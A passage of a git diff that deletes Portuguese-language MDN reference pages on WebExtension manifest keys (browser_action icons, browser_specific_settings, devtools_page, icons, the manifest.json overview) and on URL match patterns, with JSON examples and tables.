-<pre class="brush: json no-line-numbers">"default_icon": "path/to/geo.svg"</pre>
-
-<p>Alternatively, you can supply several icons in different sizes, and the browser will pick the best match.</p>
-
-<p>In Firefox:</p>
-
-<ul>
- <li>The default height and width for icons in the toolbar is 16 * <code><a href="/en-US/docs/Web/API/Window/devicePixelRatio">window.devicePixelRatio</a></code>.</li>
- <li>The default height and width for icons in the menu panel is 32 * <code><a href="/en-US/docs/Web/API/Window/devicePixelRatio">window.devicePixelRatio</a></code>.</li>
-</ul>
-
-<p>So you can specify icons that match exactly, on both normal and Retina displays, by supplying three icon files, and specifying them like this:</p>
-
-<pre class="brush: json no-line-numbers"> "default_icon": {
- "16": "path/to/geo-16.png",
- "32": "path/to/geo-32.png",
- "64": "path/to/geo-64.png"
- }</pre>
-
-<p>If Firefox can't find an exact match for the size it wants, then it will pick the smallest icon specified that's bigger than the ideal size. If all icons are smaller than the ideal size, it will pick the biggest icon specified.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: json no-line-numbers">"browser_action": {
- "default_icon": {
- "16": "button/geo-16.png",
- "32": "button/geo-32.png"
- }
-}</pre>
-
-<p>A browser action with just an icon, specified in 2 different sizes. The extension's background scripts can receive click events when the user clicks the icon using code like this:</p>
-
-<pre class="brush: js no-line-numbers"> browser.browserAction.onClicked.addListener(handleClick);</pre>
-
-<pre class="brush: json">"browser_action": {
- "default_icon": {
- "16": "button/geo-16.png",
- "32": "button/geo-32.png"
- },
- "default_title": "Whereami?",
- "default_popup": "popup/geo.html"
-}</pre>
-
-<p>A browser action with an icon, a title, and a popup. The popup will be shown when the user clicks the button.</p>
-
-<p>For a simple, but complete, extension that uses a browser action, see the <a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">walkthrough tutorial</a>.</p>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("webextensions.manifest.browser_action", 10)}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html
deleted file mode 100644
index 3d52790362..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: applications
-slug: Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings
-tags:
- - Extensões
- - Extensões da Web
- - Extras
-translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings
----
-<div>{{AddonSidebar}}</div>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 30%;">Tipo</th>
- <td><code>Object</code></td>
- </tr>
- <tr>
- <th scope="row">Obrigatório</th>
- <td>Usually, no (but see also <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID#When_do_you_need_an_add-on_ID">When do you need an Add-on ID?</a>). Mandatory before Firefox 48 (desktop) and Firefox for Android.</td>
- </tr>
- <tr>
- <th scope="row">Exemplo</th>
- <td>
- <pre class="brush: json no-line-numbers">
-"applications": {
- "gecko": {
- "id": "addon@example.com",
- "strict_min_version": "42.0"
- }
-}</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A chave <code>applications</code> contém chaves que são especificas de uma <em>application</em> de um anfitrião em particular.</p>
-
-<h3 id="Propriedadee_(Gecko)_do_Firefox">Propriedadee (Gecko) do Firefox</h3>
-
-<p>Currently this contains just one key, <code>gecko</code>, which may contain four string attributes:</p>
-
-<ul>
- <li><code>id</code> is the extension ID. Optional from Firefox 48, mandatory before Firefox 48. See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a> to see when you need to specify an add-on ID.</li>
- <li><code>strict_min_version</code>: minimum version of Gecko to support. Versions containing a "*" are not valid in this field. Defaults to "42a1".</li>
- <li><code>strict_max_version</code>: maximum version of Gecko to support. If the Firefox version on which the extension is being installed or run is above this version, then the extension will be disabled, or not permitted to be installed. Defaults to "*", which disables checking for a maximum version.</li>
- <li><code>update_url</code> is a link to an <a href="/en-US/Add-ons/Updates">extension update manifest</a>. Note that the link must begin with "https". This key is for managing extension updates yourself (i.e. not through AMO).</li>
-</ul>
-
-<p>Consulte a lista das <a href="https://addons.mozilla.org/pt-PT/firefox/pages/appversions/">versões válidas de Gecko</a>.</p>
-
-<h4 id="Formato_da_Id._da_Extensão">Formato da Id. da Extensão</h4>
-
-<p>A Id. da extensão deve ser uma das seguintes:</p>
-
-<ul>
- <li><a href="https://en.wikipedia.org/wiki/Universally_unique_identifier" title="Generating_GUIDs">GUID</a></li>
- <li>A string formatted like an email address: <code class="plain">extensionname@example.org</code></li>
-</ul>
-
-<p>The latter format is easier to generate and manipulate. Be aware that using a real email address here may attract spam.</p>
-
-<p>Por exemplo:</p>
-
-<pre class="brush:json;auto-links:false no-line-numbers">"id": "extensionname@example.org",
-
-"id": "{daf44bf7-a45e-4450-979c-91cf07434c3d}"</pre>
-
-<h3 id="Propriedades_do_Microsoft_Edge">Propriedades do Microsoft Edge</h3>
-
-<p>Microsoft Edge stores its browser specific settings in the <code>edge</code> subkey, which has the following properties:</p>
-
-<dl>
- <dt><code>browser_action_next_to_addressbar</code></dt>
- <dd>
- <p>Boolean property which controls the placement of the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_actions">browser action</a>.</p>
-
- <ul>
- <li><code>true</code> is equivalent to setting <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action#Syntax">browser_action.default_area</a></code> to <code>navbar</code>.</li>
- <li><code>false</code> is equivalent to setting <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/browser_action#Syntax">browser_action.default_area</a></code> to <code>menupanel</code>.</li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Example with all possible keys. Note that most extensions will omit <code>strict_max_version</code> and <code>update_url</code>.</p>
-
-<pre class="brush: json no-line-numbers">"applications": {
- "gecko": {
- "id": "addon@example.com",
- "strict_min_version": "42.0",
- "strict_max_version": "50.*",
- "update_url": "https://example.com/updates.json"
- },
- "edge": {
- <code>"browser_action_next_to_addressbar": true</code>
- }
-}</pre>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("webextensions.manifest.browser_specific_settings")}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html
deleted file mode 100644
index 6f53c96b01..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/devtools_page/index.html
+++ /dev/null
@@ -1,42 +0,0 @@
----
-title: devtools_page
-slug: Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page
-translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page
----
-<div>{{AddonSidebar}}</div>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 30%;">Tipo</th>
- <td><code>String</code></td>
- </tr>
- <tr>
- <th scope="row">Obrigatório</th>
- <td>Não</td>
- </tr>
- <tr>
- <th scope="row">Exemplo</th>
- <td>
- <pre class="brush: json no-line-numbers">
-"devtools_page": "devtools/my-page.html"</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Utilziae esta chave para permitir que a sua extensão amplie as <em>devtools </em>do navegador integradas.</p>
-
-<p>esta chave é definida como um URL para um ficheiro HTML. O ficheiro HTML deverá ser incorporado com a extensão, e o URL é relativo à raiz das extensões.</p>
-
-<p>Consulte <a href="/pt-PT/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento">Extensão das ferramentas de desenvolvimento</a> para saber mais.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: json no-line-numbers">"devtools_page": "devtools/my-page.html"</pre>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir dos dados estruturados. Se pretender contribuir para os dados, por favor, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pedido de submissão (<em>pull</em>).</p>
-
-<p>{{Compat("webextensions.manifest.devtools_page")}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html
deleted file mode 100644
index 66eb369f78..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html
+++ /dev/null
@@ -1,79 +0,0 @@
----
-title: Ícones (icons)
-slug: Mozilla/Add-ons/WebExtensions/manifest.json/icons
-tags:
- - Extensões
- - Extensões da Web
- - Extras
-translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/icons
-original_slug: Mozilla/Add-ons/WebExtensions/manifest.json/icones
----
-<div>{{AddonSidebar}}</div>
-
-<table class="fullwidth-table standard-table">
- <tbody>
- <tr>
- <th scope="row" style="width: 30%;">Tipo</th>
- <td><code>Objeto</code></td>
- </tr>
- <tr>
- <th scope="row">Obrigatório</th>
- <td>Não</td>
- </tr>
- <tr>
- <th scope="row">Exemplo</th>
- <td>
- <pre class="brush: json no-line-numbers">
-"icons": {
- "48": "icon.png",
- "96": "icon@2x.png"
-}</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The <code>icons</code> key specifies icons for your extension. Those icons will be used to represent the extension in components such as the Add-ons Manager.</p>
-
-<p>It consists of key-value pairs of image size in px and image path relative to the root directory of the extension.</p>
-
-<p>If <code>icons</code> is not supplied, a standard extension icon will be used by default.</p>
-
-<p>You should supply at least a main extension icon, ideally 48x48 px in size. This is the default icon that will be used in the Add-ons Manager. You may, however, supply icons of any size and Firefox will attempt to find the best icon to display in different components.</p>
-
-<p>Firefox will consider the screen resolution when choosing an icon. To deliver the best visual experience to users with high-resolution displays, such as Retina displays, provide double-sized versions of all your icons.</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>The keys in the <code>icons</code> object specify the icon size in px, values specify the relative icon path. This example contains a 48px extension icon and a larger version for high-resolution displays.</p>
-
-<pre class="brush: json no-line-numbers">"icons": {
- "48": "icon.png",
- "96": "icon@2x.png"
-}</pre>
-
-<h2 id="SVG">SVG</h2>
-
-<p>You can use SVG and the browser will scale your icon appropriately. There are currently two caveats though:</p>
-
-<ol>
- <li>You need to specify a viewBox in the image. E.g.:
- <pre class="brush: html">&lt;svg viewBox="0 0 48 48" width="48" height="48" ...</pre>
- </li>
- <li>Even though you can use one file, you still need to specify various size of the icon in your manifest. E.g.:
- <pre class="brush: json">"icons": {
- "48": "icon.svg",
- "96": "icon.svg"
-}</pre>
- </li>
-</ol>
-
-<div class="note">
-<p>If you are using a program like Inkscape for creating SVG, you might want to save it as a "plain SVG". Firefox might be confused by various special namespaces and not display your icon.</p>
-</div>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("webextensions.manifest.icons")}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html
deleted file mode 100644
index 4f8e087281..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/index.html
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: manifest.json
-slug: Mozilla/Add-ons/WebExtensions/manifest.json
-tags:
- - Add-ons
- - Extensões
- - WebExtensions
-translation_of: Mozilla/Add-ons/WebExtensions/manifest.json
----
-<div>{{AddonSidebar}}</div>
-
-<p>O ficheiro manifest.json é o único ficheiro que deve ser incluído em extensões que usem APIs de WebExtension.</p>
-
-<p>Com o <code>manifest.json</code>, é possível especificar metadados sobre a extensão a que pertence, tal como o nome, a versão, e funcionalidades como <em>scripts </em>de <em>background</em>, <em>scripts</em> de conteúdo, e ações de <em>browser</em>.</p>
-
-<p>O <code>manifest.json</code><em> </em>é um ficheiro em formato <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/JSON">JSON</a>, mas também suporta comentários do tipo "//".</p>
-
-<h2 id="Propriedades_do_manifest.json">Propriedades do manifest.json</h2>
-
-<p>Seguem-se as propriedades que o <code>manifest.json</code> suporta:</p>
-
-<div class="twocolumns">{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}</div>
-
-<div class="twocolumns"></div>
-
-<h3 id="Notas_sobre_propriedades_do_manifest.json">Notas sobre propriedades do manifest.json</h3>
-
-<ul>
- <li><code>as únicas <strong>propriedades obrigatórias</strong> são "manifest_version"</code>, <code>"version"</code>, e <code>"name"</code>. <code>"default_locale"</code> só é obrigatório se existir uma pasta "_locales". Caso contrário, a propriedade não pode existir.</li>
- <li>
- <p><code>"browser_specific_settings"</code> não é compatível com Google Chrome.</p>
- </li>
-</ul>
-
-<h3 id="Como_aceder_a_propriedades_manifest.json_em_runtime">Como aceder a propriedades manifest.json em <em>runtime</em></h3>
-
-<p>É possível aceder ao <code>manifest.json</code> de uma extensão a partir de um <em>script</em><em> </em>da mesma, com a função de JavaScript {{WebExtAPIRef("runtime.getManifest()")}}:</p>
-
-<pre class="brush: js notranslate">browser.runtime.getManifest().version;</pre>
-
-<h2 id="Compatibilidade_de_browsers">Compatibilidade de <em>browsers</em></h2>
-
-<p>{{Compat("webextensions.manifest")}}</p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Os exemplos seguintes demonstram como funcionam algumas propriedades comuns nos <em>manifest.json.</em>  </p>
-
-<div class="blockIndicator note">
-<p><strong>Nota:</strong> Estes exemplos não funcionam se forem simplesmente copiados e colados. As propriedades necessárias são determinadas pelas características de cada extensão</p>
-</div>
-
-<p>Para ver exemplos completos de extensões, veja a página <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples">Exemplos de extensões</a>.</p>
-
-<pre class="brush: json notranslate">{
- "applications": {
- "gecko": {
- "id": "addon@example.com",
- "strict_min_version": "42.0"
- }
- },
-
- "background": {
- "scripts": ["jquery.js", "my-background.js"],
- "page": "my-background.html"
- },
-
- "browser_action": {
- "default_icon": {
- "19": "button/geo-19.png",
- "38": "button/geo-38.png"
- },
- "default_title": "Whereami?",
- "default_popup": "popup/geo.html"
- },
-
- "commands": {
- "toggle-feature": {
-  "suggested_key": {
-    "default": "Ctrl+Shift+Y",
-    "linux": "Ctrl+Shift+U"
-  },
-     "description": "Send a 'toggle-feature' event"
- }
- },
-
- "content_security_policy": "script-src 'self' https://example.com; object-src 'self'",
-
- "content_scripts": [
- {
- "exclude_matches": ["*://developer.mozilla.org/*"],
- "matches": ["*://*.mozilla.org/*"],
- "js": ["borderify.js"]
- }
- ],
-
- "default_locale": "en",
-
- "description": "...",
-
- "icons": {
- "48": "icon.png",
- "96": "icon@2x.png"
- },
-
- "manifest_version": 2,
-
- "name": "...",
-
- "page_action": {
- "default_icon": {
- "19": "button/geo-19.png",
- "38": "button/geo-38.png"
- },
- "default_title": "Whereami?",
- "default_popup": "popup/geo.html"
- },
-
- "permissions": ["webNavigation"],
-
- "version": "0.1",
-
- "web_accessible_resources": ["images/my-image.png"]
-}</pre>
-
-<h2 id="Compatibilidade_de_browsers_2">Compatibilidade de <em>browsers</em></h2>
-
-<p>Consulte a <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json">tabela de compatibilidade de browsers do manifest.json</a> para saber que <em>browsers </em>suportam cada propriedade do <code>manifest.json</code>.</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<p>{{WebExtAPIRef("permissions")}} JavaScript API</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html b/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html
deleted file mode 100644
index e7330b3010..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html
+++ /dev/null
@@ -1,431 +0,0 @@
----
-title: dubla padrões em extensão manifestos
-slug: Mozilla/Add-ons/WebExtensions/Match_patterns
-translation_of: Mozilla/Add-ons/WebExtensions/Match_patterns
-original_slug: Mozilla/Add-ons/WebExtensions/dubla_padrões
----
-<div>{{AddonSidebar}}</div>
-
-<p>Match patterns are a way to specify groups of URLs: a match pattern matches a specific set of URLs. They are used in WebExtensions APIs in a few places, most notably to specify which documents to load <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">content scripts</a> into, and to specify which URLs to add <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest">webRequest</a></code> listeners to.</p>
-
-<p>APIs that use match patterns usually accept a list of match patterns, and will perform the appropriate action if the URL matches any of the patterns. See, for example, the <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> key in manifest.json.</p>
-
-<h2 id="Match_pattern_structure">Match pattern structure</h2>
-
-<div class="note">
-<p><strong>Note:</strong> Some browsers don’t support certain schemes.<br>
- Check the <a href="#Browser_compatibility">Browser compatibility table</a> for details.</p>
-</div>
-
-<p>All match patterns are specified as strings. Apart from the special <code><a href="/en-US/Add-ons/WebExtensions/Match_patterns#%3Call_urls%3E">&lt;all_urls&gt;</a></code> pattern, match patterns consist of three parts: <em>scheme</em>, <em>host</em>, and <em>path</em>. The scheme and host are separated by <code>://</code>.</p>
-
-<pre>&lt;scheme&gt;://&lt;host&gt;&lt;path&gt;</pre>
-
-<h3 id="scheme">scheme</h3>
-
-<p>The <em>scheme</em> component may take one of two forms:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col" style="width: 50%;">Form</th>
- <th scope="col">Matches</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>*</code></td>
- <td>Only "http" and "https" and in some browsers also <a href="/en-US/docs/Web/API/WebSockets_API">"ws" and "wss"</a>.</td>
- </tr>
- <tr>
- <td>One of <code>http</code>, <code>https</code>, <code>ws</code>, <code>wss</code>, <code>ftp</code>, <code>ftps</code>, <code>data</code> or <code>file</code>.</td>
- <td>Only the given scheme.</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="host">host</h3>
-
-<p>The <em>host</em> component may take one of three forms:</p>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col" style="width: 50%;">Form</th>
- <th scope="col">Matches</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>*</code></td>
- <td>Any host.</td>
- </tr>
- <tr>
- <td><code>*.</code> followed by part of the hostname.</td>
- <td>The given host and any of its subdomains.</td>
- </tr>
- <tr>
- <td>A complete hostname, without wildcards.</td>
- <td>Only the given host.</td>
- </tr>
- </tbody>
-</table>
-
-<p><em>host</em> must not include a port number.</p>
-
-<p><em>host</em> is optional only if the <em>scheme</em> is "file".</p>
-
-<p>Note that the wildcard may only appear at the start.</p>
-
-<h3 id="path">path</h3>
-
-<p>The <em>path</em> component must begin with a <code>/</code>.</p>
-
-<p>After that, it may subsequently contain any combination of the <code>*</code> wildcard and any of the characters that are allowed in URL paths or query strings. Unlike <em>host</em>, the <em>path</em> component may contain the <code>*</code> wildcard in the middle or at the end, and the <code>*</code> wildcard may appear more than once.</p>
-
-<p>The value for the <em>path</em> matches against the string which is the URL path plus the <a href="https://en.wikipedia.org/wiki/Query_string">URL query string</a>. This includes the <code>?</code> between the two, if the query string is present in the URL. For example, if you want to match URLs on any domain where the URL path ends with <code>foo.bar</code>, then you need to use an array of Match Patterns like <code>['*://*/*foo.bar', '*://*/*foo.bar?*']</code>. The <code>?*</code> is needed, rather than just <code>bar*</code>, in order to anchor the ending <code>*</code> as applying to the URL query string and not some portion of the URL path.</p>
-
-<p>Neither the <a href="https://en.wikipedia.org/wiki/Fragment_identifier">URL fragment identifier</a>, nor the <code>#</code> which precedes it, are considered as part of the <em>path</em>.</p>
-
-<div class="blockIndicator note">
-<p><strong>Note</strong>: The path pattern string should not include a port number. Adding a port, as in: <em>"http://localhost:1234/*" </em>causes the match pattern to be ignored. However, "<em>http://localhost:1234</em>" will match with "<em>http://localhost/*</em>"</p>
-</div>
-
-<h3 id="&lt;all_urls>">&lt;all_urls&gt;</h3>
-
-<p>The special value <code>&lt;all_urls&gt;</code> matches all URLs under any of the supported schemes: that is "http", "https", "ws", "wss", "ftp", "data", and "file".</p>
-
-<h2 id="Examples">Examples</h2>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col" style="width: 33%;">Pattern</th>
- <th scope="col" style="width: 33%;">Example matches</th>
- <th scope="col" style="width: 33%;">Example non-matches</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>
- <p><code>&lt;all_urls&gt;</code></p>
-
- <p>Match all URLs.</p>
- </td>
- <td>
- <p><code>http://example.org/</code></p>
-
- <p><code>https://a.org/some/path/</code></p>
-
- <p><code>ws://sockets.somewhere.org/</code></p>
-
- <p><code>wss://ws.example.com/stuff/</code></p>
-
- <p><code>ftp://files.somewhere.org/</code></p>
-
- <p><code>ftps://files.somewhere.org/</code></p>
- </td>
- <td>
- <p><code>resource://a/b/c/</code><br>
- (unsupported scheme)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>*://*/*</code></p>
-
- <p>Match all HTTP, HTTPS and WebSocket URLs.</p>
- </td>
- <td>
- <p><code>http://example.org/</code></p>
-
- <p><code>https://a.org/some/path/</code></p>
-
- <p><code>ws://sockets.somewhere.org/</code></p>
-
- <p><code>wss://ws.example.com/stuff/</code></p>
- </td>
- <td>
- <p><code>ftp://ftp.example.org/</code><br>
- (unmatched scheme)</p>
-
- <p><code>ftps://ftp.example.org/</code><br>
- (unmatched scheme)</p>
-
- <p><code>file:///a/</code><br>
- (unmatched scheme)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>*://*.mozilla.org/*</code></p>
-
- <p>Match all HTTP, HTTPS and WebSocket URLs that are hosted at "mozilla.org" or one of its subdomains.</p>
- </td>
- <td>
- <p><code>http://mozilla.org/</code></p>
-
- <p><code>https://mozilla.org/</code></p>
-
- <p><code>http://a.mozilla.org/</code></p>
-
- <p><code>http://a.b.mozilla.org/</code></p>
-
- <p><code>https://b.mozilla.org/path/</code></p>
-
- <p><code>ws://ws.mozilla.org/</code></p>
-
- <p><code>wss://secure.mozilla.org/something</code></p>
- </td>
- <td>
- <p><code>ftp://mozilla.org/</code><br>
- (unmatched scheme)</p>
-
- <p><code>http://mozilla.com/</code><br>
- (unmatched host)</p>
-
- <p><code>http://firefox.org/</code><br>
- (unmatched host)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>*://mozilla.org/</code></p>
-
- <p>Match all HTTP, HTTPS and WebSocket URLs that are hosted at exactly "mozilla.org/".</p>
- </td>
- <td>
- <p><code>http://mozilla.org/</code></p>
-
- <p><code>https://mozilla.org/</code></p>
-
- <p><code>ws://mozilla.org/</code></p>
-
- <p><code>wss://mozilla.org/</code></p>
- </td>
- <td>
- <p><code>ftp://mozilla.org/</code><br>
- (unmatched scheme)</p>
-
- <p><code>http://a.mozilla.org/</code><br>
- (unmatched host)</p>
-
- <p><code>http://mozilla.org/a</code><br>
- (unmatched path)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>ftp://mozilla.org/</code></p>
-
- <p>Match only "ftp://mozilla.org/".</p>
- </td>
- <td><code>ftp://mozilla.org</code></td>
- <td>
- <p><code>http://mozilla.org/</code><br>
- (unmatched scheme)</p>
-
- <p><code>ftp://sub.mozilla.org/</code><br>
- (unmatched host)</p>
-
- <p><code>ftp://mozilla.org/path</code><br>
- (unmatched path)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>https://*/path</code></p>
-
- <p>Match HTTPS URLs on any host, whose path is "path".</p>
- </td>
- <td>
- <p><code>https://mozilla.org/path</code></p>
-
- <p><code>https://a.mozilla.org/path</code></p>
-
- <p><code>https://something.com/path</code></p>
- </td>
- <td>
- <p><code>http://mozilla.org/path</code><br>
- (unmatched scheme)</p>
-
- <p><code>https://mozilla.org/path/</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/a</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/path?foo=1</code><br>
- (unmatched path due to URL query string)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>https://*/path/</code></p>
-
- <p>Match HTTPS URLs on any host, whose path is "path/" and which has no URL query string.</p>
- </td>
- <td>
- <p><code>https://mozilla.org/path/</code></p>
-
- <p><code>https://a.mozilla.org/path/</code></p>
-
- <p><code>https://something.com/path</code>/</p>
- </td>
- <td>
- <p><code>http://mozilla.org/path/</code><br>
- (unmatched scheme)</p>
-
- <p><code>https://mozilla.org/path</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/a</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/path/</code><code>?foo=1</code><br>
- (unmatched path due to URL query string)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>https://mozilla.org/*</code></p>
-
- <p>Match HTTPS URLs only at "mozilla.org", with any URL path and URL query string.</p>
- </td>
- <td>
- <p><code>https://mozilla.org/</code></p>
-
- <p><code>https://mozilla.org/path</code></p>
-
- <p><code>https://mozilla.org/another</code></p>
-
- <p><code>https://mozilla.org/path/to/doc</code></p>
-
- <p><code>https://mozilla.org/path/to/doc?foo=1</code></p>
- </td>
- <td>
- <p><code>http://mozilla.org/path</code><br>
- (unmatched scheme)</p>
-
- <p><code>https://mozilla.com/path</code><br>
- (unmatched host)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>https://mozilla.org/a/b/c/</code></p>
-
- <p>Match only this URL, or this URL with any URL fragment.</p>
- </td>
- <td>
- <p><code>https://mozilla.org/a/b/c/</code></p>
-
- <p><code>https://mozilla.org/a/b/c/#section1</code></p>
- </td>
- <td>Anything else.</td>
- </tr>
- <tr>
- <td>
- <p><code>https://mozilla.org/*/b/*/</code></p>
-
- <p>Match HTTPS URLs hosted on "mozilla.org", whose path contains a component "b" somewhere in the middle. Will match URLs with query strings, if the string ends in a <code>/</code>.</p>
- </td>
- <td>
- <p><code>https://mozilla.org/a/b/c/</code></p>
-
- <p><code>https://mozilla.org/d/b/f/</code></p>
-
- <p><code>https://mozilla.org/a/b/c/d/</code></p>
-
- <p><code>https://mozilla.org/a/b/c/d/#section1</code></p>
-
- <p><code>https://mozilla.org/a/b/c/d/?foo=/</code></p>
-
- <p><code>https://mozilla.org/a?foo=21314&amp;bar=/b/&amp;extra=c/</code></p>
- </td>
- <td>
- <p><code>https://mozilla.org/b/*/</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/a/b/</code><br>
- (unmatched path)</p>
-
- <p><code>https://mozilla.org/a/b/c/d/?foo=bar</code><br>
- (unmatched path due to URL query string)</p>
- </td>
- </tr>
- <tr>
- <td>
- <p><code>file:///blah/*</code></p>
-
- <p>Match any FILE URL whose path begins with "blah".</p>
- </td>
- <td>
- <p><code>file:///blah/</code></p>
-
- <p><code>file:///blah/bleh</code></p>
- </td>
- <td><code>file:///bleh/</code><br>
- (unmatched path)</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Invalid_match_patterns">Invalid match patterns</h3>
-
-<table class="fullwidth-table standard-table">
- <thead>
- <tr>
- <th scope="col">Invalid pattern</th>
- <th scope="col">Reason</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>resource://path/</code></td>
- <td>Unsupported scheme.</td>
- </tr>
- <tr>
- <td><code>https://mozilla.org</code></td>
- <td>No path.</td>
- </tr>
- <tr>
- <td><code>https://mozilla.*.org/</code></td>
- <td>"*" in host must be at the start.</td>
- </tr>
- <tr>
- <td><code>https://*zilla.org/</code></td>
- <td>"*" in host must be the only character or be followed by ".".</td>
- </tr>
- <tr>
- <td><code>http*://mozilla.org/</code></td>
- <td>"*" in scheme must be the only character.</td>
- </tr>
- <tr>
- <td><code>https://mozilla.org:80/</code></td>
- <td>Host must not include a port number.</td>
- </tr>
- <tr>
- <td><code>*://*</code></td>
- <td>Empty path: this should be "<code>*://*/*</code>".</td>
- </tr>
- <tr>
- <td><code>file://*</code></td>
- <td>Empty path: this should be "<code>file:///*</code>".</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<h3 id="scheme_2">scheme</h3>
-
-
-
-<p>{{Compat("webextensions.match_patterns.scheme",10)}}</p>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html b/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html
deleted file mode 100644
index dd02a81c1d..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/tips/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Tips and Tricks
-slug: Mozilla/Add-ons/WebExtensions/Tips
-translation_of: Mozilla/Add-ons/WebExtensions/Tips
----
-<p>{{AddonSidebar}}</p>
-
